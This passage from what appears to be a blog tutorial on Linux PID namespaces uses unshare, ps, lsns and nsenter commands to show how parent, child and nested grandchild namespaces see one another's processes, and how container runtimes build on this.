aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yujG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yujG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 424w, https://substackcdn.com/image/fetch/$s_!yujG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 848w, https://substackcdn.com/image/fetch/$s_!yujG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 1272w, https://substackcdn.com/image/fetch/$s_!yujG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yujG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png" width="1024" height="272" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:272,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!yujG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 424w, https://substackcdn.com/image/fetch/$s_!yujG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 848w, https://substackcdn.com/image/fetch/$s_!yujG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 1272w, https://substackcdn.com/image/fetch/$s_!yujG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F845bbcfd-ada9-4969-9dc1-5c8e506db99f_1024x272.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Each process has a PID unique to this namespace, starting from <strong>1</strong> for <code>bash</code>, followed by <strong>13</strong>, <strong>14</strong>, and <strong>15</strong> for the <code>sleep</code> commands.</p><p>Now go back to the <strong>parent-ns</strong> terminal and check what it can see:</p><pre><code><code>$ sudo ps -eo pid,pidns,cmd | grep 4026532196  </code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_n9q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_n9q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_n9q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png" width="1024" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:50816,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_n9q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!_n9q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9bc9d1e-e346-4dec-956f-abb00950f8ea_1024x247.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Again, the parent namespace can see all the processes from this new child namespace.</p><p>However, if you switch back to <strong>child-ns-01</strong> and run:</p><pre><code><code>$ ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ygDm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ygDm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ygDm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png" width="1024" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:49968,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ygDm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!ygDm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7885ba63-6287-4564-889d-da89b58a6e50_1024x247.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>You&#8217;ll only see the processes that exist in <strong>child-ns-01</strong>, not those from the parent or <strong>child-ns-02</strong>.<code>  </code></p><p>This demonstrates a key rule of PID namespaces:</p><ul><li><p>The <strong>parent namespace</strong> can always see processes inside its children.</p></li><li><p>The <strong>child namespace</strong> can see only its own processes and descendants, never those of the parent or siblings.</p></li></ul><p>This hierarchical visibility is the foundation for how container runtimes manage and isolate processes while still maintaining control from the host.</p><h2>Grandchild Namespaces and Deeper Hierarchies</h2><p>PID namespaces don&#8217;t just stop at one level, they can be <strong>nested</strong>.</p><p>A child namespace can create another namespace inside it, forming a <strong>grandchild</strong> relationship.</p><p>Each layer becomes more isolated than the one above it.</p><p>Let&#8217;s build a small chain to see how this works in practice.</p><p>Inside the first child namespace (<strong>child-ns-02</strong>), run the <code>unshare</code> command again to create two more PID namespaces:</p><pre><code><code># unshare --pid --fork --mount-proc sleep 20000 &amp;

# unshare --pid --fork --mount-proc sleep 10000 &amp;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!c5KZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!c5KZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!c5KZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png" width="1024" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28335,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!c5KZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!c5KZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9e8ce669-feb5-4ba9-87f3-bfc4ffbfe21b_1024x247.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Notice the ampersand (<code>&amp;</code>) at the end, this runs the command in the background so we can continue using the current shell without immediately switching into the new namespace.</p><p>Run <code>lsns -t pid</code> inside <strong>child-ns-02</strong> to verify the new namespaces that now exist:</p><pre><code><code>$ sudo lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!JYMz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!JYMz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!JYMz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png" width="1024" height="247" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:247,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:34868,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!JYMz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 424w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 848w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 1272w, https://substackcdn.com/image/fetch/$s_!JYMz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe52bc1de-49b3-4802-98b0-c8f29903241a_1024x247.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here, you can see multiple PID namespaces:</p><ul><li><p><strong>4026532196</strong> &#8594; represents <strong>child-ns-02</strong> (the first child)</p></li><li><p><strong>4026532198</strong> and <strong>4026532200</strong> &#8594; represent newly created nested (grandchild) namespaces</p></li></ul><p>Each one is its own isolated environment with a separate process list.</p><p>Now, from the first child shell (<strong>child-ns-02</strong>), list the running processes:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AkI2!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AkI2!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 424w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 848w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 1272w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AkI2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png" width="1024" height="354" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:354,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:70684,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AkI2!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 424w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 848w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 1272w, https://substackcdn.com/image/fetch/$s_!AkI2!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F332eae52-14a7-42a5-829f-01be6091e9a1_1024x354.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>From this view, you can see both the <strong>child</strong> and <strong>grandchilds</strong> namespaces processes</p><p>However, if you were to switch  into one of the (grandchild) shell and run <code>ps aux</code>, you would only see its own processes, not those of its parent or the host.</p><p>To demonstrate this, we can use the <code>nsenter</code> command to enter one of the grandchild namespaces by targeting a process running inside it. For example:</p><pre><code>$ nsenter --target 13 --pid --mount /bin/bash</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5bf5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5bf5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 424w, https://substackcdn.com/image/fetch/$s_!5bf5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2cdd11f-5dc1-4905-81ed-ef39b3022598_1024x258.png 848w, 